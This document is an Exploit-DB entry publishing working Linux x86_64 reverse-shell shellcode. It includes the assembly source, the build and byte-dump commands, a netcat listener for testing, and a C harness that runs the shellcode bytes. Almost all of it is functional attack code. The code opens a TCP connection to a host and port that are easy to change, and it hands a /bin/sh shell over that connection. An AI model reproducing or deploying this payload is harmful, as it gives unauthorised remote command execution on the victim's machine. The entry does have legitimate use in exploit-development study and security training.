Linux/x86_64 - Reverse (0.0.0.0:4444/TCP) Shell (/bin/sh) Shellcode

EDB-ID:

47025

CVE:

N/A




Platform:

Linux_x86-64

Date:

2019-06-24


/*
 
Title: Linux/x86_64 - Reverse(0.0.0.0:4444/TCP)Shell(/bin/sh)- Null Free Shellcode
;Author: Aron Mihaljevic
;Architecture: Linux x86_64
;Shellcode Length:  70 bytes
;github = https://github.com/STARRBOY

compilation and execution of assembly code
-------------------------------------
nasm -felf64 reverse.nasm -o reverse.o
ld reverse.o -o reverse
---------------------------
dumping binaries
----------------------------------------------------------------------------------
for i in $(objdump -d reverse |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
----------------------------------------------------------------------------------
C program 
-------------------------------------------------------------------
gcc -fno-stack-protector -z execstack reverse_tcp.c -o reverse_tcp
----------------------------------------------------------------
test:
open a terminal and run this " nc -l 0.0.0.0 4444 "

after you have done that, 
open another one and run a shellcode



global _start

section .text

_start:
	 
        
    ; create socket 
        ; sock = socket(AF_INET, SOCK_STREAM, 0)
        ; AF_INET = 2
        ; SOCK_STREAM = 1
        ; syscall number 41 	
       
	push 41       	;sys_socket
	pop rax		
        push 2		; AF_INET
        pop rdi
       	push 1		;SOCK_STREAM
        pop rsi
        xor rdx,	rdx		;rdx = 0
        syscall


	xchg rdi,	rax	;save a socket descriptor
	
connect:
	
	; struct sockaddr_in addr;
    	; addr.sin_family = AF_INET;
    	; addr.sin_port = htons(4444);
   	; addr.sin_addr.s_addr = inet_addr("0.0.0.0");
   	; connect(connect_socket_fd, (struct sockaddr *)&addr, sizeof(addr));
	
	push    2               ;sin_family = AF_INET
        mov word [rsp + 2], 0x5c11      ;port = 4444
        push    rsp
	
	push	42		;sys_connect
	pop 	rax 		
				;rdi already contains a socket descriptor
	pop 	rsi		;(addr.sin_port,2 bytes) push htons(4444)
	push	16		;sizeof(addr)
	pop	rdx
	syscall

    	push 	3		;push counter
        pop 	rsi
dup2loop:
	
        ; int dup2(int oldfd, int newfd);

	push	33		;dup2 syscall
	pop	rax
        dec 	rsi		;next number
        syscall
        loopnz dup2loop  	;loop
	
spawn_shell:

	; int execve(const char *filename, char *const argv[],char *const envp[]);


	xor     rsi,	rsi			 ;clear rsi
	push	rsi			         ;push null on the stack
	mov 	rdi,	0x68732f2f6e69622f	 ;/bin//sh in reverse order
	push	rdi
	push	rsp		
	pop	rdi	        		 ;stack pointer to /bin//sh
	mov 	al,	    59      		 ;sys_execve
	cdq					 ;sign extend of eax
	syscall

*/

#include <stdio.h>
#include <string.h>

unsigned char shellcode[]=\
		 "\x6a\x29\x58\x6a\x02\x5f\x6a\x01"
		 "\x5e\x48\x31\xd2\x0f\x05\x48\x97"
		 "\x6a\x02\x66\xc7\x44\x24\x02\x11"
		 "\x5c\x54\x6a\x2a\x58\x5e\x6a\x10"
		 "\x5a\x0f\x05\x6a\x03\x5e\x6a\x21"
		 "\x58\x48\xff\xce\x0f\x05\xe0\xf6"
		 "\x48\x31\xf6\x56\x48\xbf\x2f\x62"
		 "\x69\x6e\x2f\x2f\x73\x68\x57\x54"
		 "\x5f\xb0\x3b\x99\x0f\x05";


int main(){

        printf("length of your shellcode is: %d\n", (int)strlen(shellcode));

        int (*ret)() = (int(*)())shellcode;

        ret();
}